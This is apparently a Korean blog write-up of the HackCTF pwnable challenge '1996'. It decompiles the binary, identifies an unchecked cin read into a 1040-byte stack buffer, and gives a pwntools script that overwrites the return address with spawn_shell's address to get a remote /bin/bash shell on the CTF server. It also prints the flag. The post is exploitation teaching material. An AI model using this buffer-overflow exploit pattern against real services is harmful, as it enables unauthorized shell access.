WriteUp/HackCTF

Pwnable : 1996

vared 2020. 8. 22. 16:47

nc ctf.j0n9hyun.xyz 3013

 

한번 실행을 해보니 다음과 같이 나온다.

 

이렇게 입력을 해주면

 

환경변수 값을 출력을 해주는 같다. 대신 해당 이름의 변수가 없어서 출력이 안된 같네용

 

 

일단 보안옵션은 NX 있습니다. 스택의 실행권한을 뺏는 옵션이죠

 

함수 종류도 확인해 보구용

눈에 띄는건

 

spawn_shell(), main 정도 있구요한번 봅시다잉

 

shell_spawn gdb 안보인다.

 

이건 ida 보자.

int spawn_shell(void)
{
  char *argv; // [rsp+0h] [rbp-10h]
  __int64 v2; // [rsp+8h] [rbp-8h]

  argv = "/bin/bash";
  v2 = 0LL;
  return execve("/bin/bash", &argv, 0LL);
}

 

아주 중요한 함수다 execve 함수로 /bin/bash 불러오니까 나중에 요긴하게 써먹을 하다.

 

ret 자리에 넣으면 쉘이 실행될 같다.

한번 주소를 구해보자.

0x400897 이다.

 

오케이.

 

그럼 입력 양식을 볼까. 기왕 ida 본거 main 보자.

int __cdecl main(int argc, const char **argv, const char **envp)
{
  __int64 v3; // rdx
  __int64 v4; // rax
  __int64 v5; // rdx
  __int64 v6; // rbx
  char *v7; // rax
  __int64 v8; // rdx
  __int64 v9; // rax
  char name; // [rsp+0h] [rbp-410h]

  std::operator<<<std::char_traits<char>>(&_bss_start, "Which environment variable do you want to read? ", envp);
  std::operator>><char,std::char_traits<char>>(&std::cin, &name);
  v4 = std::operator<<<std::char_traits<char>>(&_bss_start, &name, v3);
  v6 = std::operator<<<std::char_traits<char>>(v4, "=", v5);
  v7 = getenv(&name);
  v9 = std::operator<<<std::char_traits<char>>(v6, v7, v8);
  std::ostream::operator<<(v9, &std::endl<char,std::char_traits<char>>);
  return 0;
}

getenv 입력을 받아주고, name 저장 그리고 출력해주는 같다.

 

getenv 길이 체크를 안하는 것으로 보아 여기서 취약점이 발생하겠다.

1040 바이트 받아오고, sfp 8 바이트 16 입력을 주고 뒤에 8바이트를 spawn_shell 불러주면 되겠다.

 

pwntools 이용해서 써보자.

from pwn import *

p=remote('ctf.j0n9hyun.xyz', 3013)

spawn_shell = 0x400897

p.recvuntil('Which environment variable do you want to read? ')

payload = 'A'*1040 + 'B'*8
payload += p64(spawn_shell)

p.sendline(payload)

p.interactive()

HackCTF{b29a2800780d85cfc346}

 

*20.04 환경에서 진행했는데 python - pip pip3만지원해서 pwntools 모델이 약간 다르다. 코드대로 실행하면 안되니까 python3-pwntools 참고하던지 다른환경을 사용하는게 좋을 하다.